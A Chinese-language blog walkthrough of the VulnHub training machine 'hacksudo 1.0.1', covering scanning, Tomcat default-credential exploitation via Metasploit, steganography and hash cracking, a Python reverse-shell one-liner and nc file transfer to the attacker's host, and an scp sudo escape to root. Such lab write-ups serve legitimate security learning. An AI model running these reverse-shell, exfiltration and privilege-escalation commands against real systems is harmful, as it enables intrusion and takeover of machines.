vulnhub靶场hacksudo: 1.0.1

0x000 靶场描述


The machine is VirtualBox as well as VMWare compatible. The DHCP will assign an IP automatically. You'll see the IP right on the login screen. You have to find and read two flags (user and root) which is present in user.txt and root.txt respectively.


0x001 靶场下载


https://www.vulnhub.com/entry/hacksudo-101,650/


0x002 信息收集


探测存活主机

netdiscover -r 192.168.1.0/24

端口扫描

nmap -sS -sV -A -p 1-65535 192.168.1.105

2222   ssh
80     http
8080   http

访问80端口,查看源代码,发现传入username参数后会跳转到fandom.php页面

尝试访问一下fandom.php页面,处于登陆状态,查找信息;很可惜,没找到。。。

访问8080端口,发现是一个tomcat服务器,尝试弱口令登陆,账号密码:admin/admin


0x003 漏洞利用


tomcat文件上传漏洞

可以使用metasploit框架并使用与Tomcat管理器相关的漏洞。另一种方法是使用“WAR”文件部署应用程序;这里我选择第一种

参考:https://nepcodex.com/2021/06/hacksudo-1-0-1-walkthrough-vulnhub-writeup/

msfconsole
use exploit/multi/http/tomcat_mgr_upload
set RHOSTS 192.168.1.102
set RPORT 8080
set HttpPassword admin
set HttpUsername admin
exploit

进入/var/backups/hacksudo目录下,发现如下文件

下载到本地查看

download hacksudo.zip
download log.txt
download vishal.jpg

图片隐写

参考:https://www.cnpython.com/pypi/stegcracker

sudo pip3 install stegcracker
stegcracker vishal.jpg /home/kali/rockyou.txt
cat vishal.jpg.out

凯撒解密&&hash解密

使用 https://gchq.github.io/CyberChef 尝试解密,发现用户vishal,但是密码还没解出来

尝试hash解密,密码为hacker;也可以使用john解密

echo 985aa195c09fb7d64a4bb24cfe51fb1f13ebc444c494e765ee99d6c3ef46557c757787f8f5a6e0260d2e0e846d263fbfbe1311c884bb0bf9792f8778a4434327 > hash
john hash --wordlist=/home/kali/rockyou.txt --format=raw-sha512


0x004 提权


ssh登陆之后查看当前用户权限,没有可以执行root的命令

查看office目录下的hacksudo.c和manage.sh文件源代码,发现编译的二进制文件将首先设置执行它的用户的 setuid 权限。然后,它将运行 manage.sh 脚本。接下来,manage.sh 脚本包含一些命令,如 echo。更重要的是,用户有权写入 manage.sh 文件。因此,他可以编写将由用户 hacksudo 执行的任何命令。但是,其他用户不能执行二进制 hacksudo,因为它只能由它的所有者执行,即用户 hacksudo。

尝试查看计划任务文件,发现每隔一分钟就会运行一次/home/hacksudo/getmanager脚本;先来查看一下脚本的内容

kali监听
nc -lvnp 5555 > getmanager

目标机
nc 192.168.1.108 5555 < /home/hacksudo/getmanager

strings getmanager

这与我们在 vishal 的 Office 目录中看到的二进制文件相同,即 hacksudo。正如我之前所说,用户 vishal 可以编写任何他想以用户 hacksudo 身份执行的命令。所以添加如下内容

vi manage.sh

python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("192.168.1.108",5555));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'

kali监听等待上线,成功获取到hacksudo用户shell

查看当前用户权限,发现可以以root权限运行scp命令

参考:https://gtfobins.github.io/gtfobins/scp/#sudo

TF=$(mktemp)
echo 'sh 0<&2 1>&2' > $TF
chmod +x "$TF"
scp -S $TF x y:

posted @ 2022-11-30 17:40  Cx330Lm  阅读(62)  评论(0编辑  收藏  举报